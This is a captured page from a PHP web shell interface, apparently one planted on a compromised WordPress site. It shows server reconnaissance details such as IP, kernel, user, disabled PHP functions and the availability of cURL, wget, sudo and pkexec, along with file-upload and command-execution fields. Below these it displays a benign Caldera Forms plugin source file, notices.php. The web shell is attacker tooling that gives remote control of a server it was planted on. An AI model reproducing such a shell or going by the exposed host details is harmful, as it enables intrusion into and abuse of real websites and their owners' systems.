403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.69.176.166
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/coircraft.com/wp-content/plugins/caldera-forms/classes/render/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/coircraft.com/wp-content/plugins/caldera-forms/classes/render/notices.php
<?php

/**
 * Prepare notice content and classes sent tp browser
 *
 * Wrapper for multi-location filters
 *
 * @package Caldera_Forms
 * @author    Josh Pollock <[email protected]>
 * @license   GPL-2.0+
 * @link
 * @copyright 2016 CalderaWP LLC
 */
class Caldera_Forms_Render_Notices {

	public static function get_note_general_classes( array $form ){
		/**
		 * Filter notices to be returned to browser
		 *
		 * @since unknown
		 *
		 * @param array $classes Classes to use
		 * @param array $form Form config
		 */
		return apply_filters( 'caldera_forms_render_note_general_classes', array(
			'alert'
		), $form );
	}

	/**
	 * Prepare notices to retrun to browser
	 *
	 * @since 1.5.0
	 *
	 * @param array $notices Notices to display, by type
	 * @param array $form Form config
	 *
	 * @return array
	 */
	public static function prepare_notices( array  $notices = array(), array  $form ){
		/**
		 * Filter final HTML for notices
		 *
		 * @since unknown
		 *
		 * @param string $notice Notices HTML
		 * @param array $config Form config
		 */
		return apply_filters( 'caldera_forms_render_notices', $notices, $form);
	}

	/**
	 * Get, with filter, notification classes to use for errors/success messages, etc.
	 *
	 * @since 1.5.0
	 * @param array $note_general_classes
	 * @param array $form
	 *
	 * @return array
	 */
	public static function get_note_classes( array $note_general_classes, array  $form ){
		$note_classes = array(
			'success'	=> array_merge($note_general_classes, array(
				'alert-success'
			)),
			'error'	=> array_merge($note_general_classes, array(
				'alert-error'
			)),
			'info'	=> array_merge($note_general_classes, array(
				'alert-info'
			)),
			'warning'	=> array_merge($note_general_classes, array(
				'alert-warning'
			)),
			'danger'	=> array_merge($note_general_classes, array(
				'alert-danger'
			)),
		);

		/**
		 * Filter notice classes
		 *
		 * @since unkown
		 *
		 * @param array $note_classes Note classes to return
		 * @param array $form Form config
		 */
		return apply_filters( 'caldera_forms_render_note_classes', $note_classes, $form);


	}

	/**
	 * Create HTML string from notices
	 *
	 * @since 1.5.0
	 *
	 * @param array $notices Notices to display
	 * @param array $note_classes Notices classes to use
	 *
	 * @return string
	 */
	public static function html_from_notices( array $notices, array $note_classes ){
		$html = '';
		foreach($notices as $note_type => $notice){
			if(!empty($notice['note'])){
				$result = Caldera_Forms::do_magic_tags( $notice['note'] );
				$html .= '<div class=" '. implode(' ', $note_classes[$note_type]) . '">' . Caldera_Forms_Sanitize::remove_scripts($result ) .'</div>';
			}
		}

		return $html;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit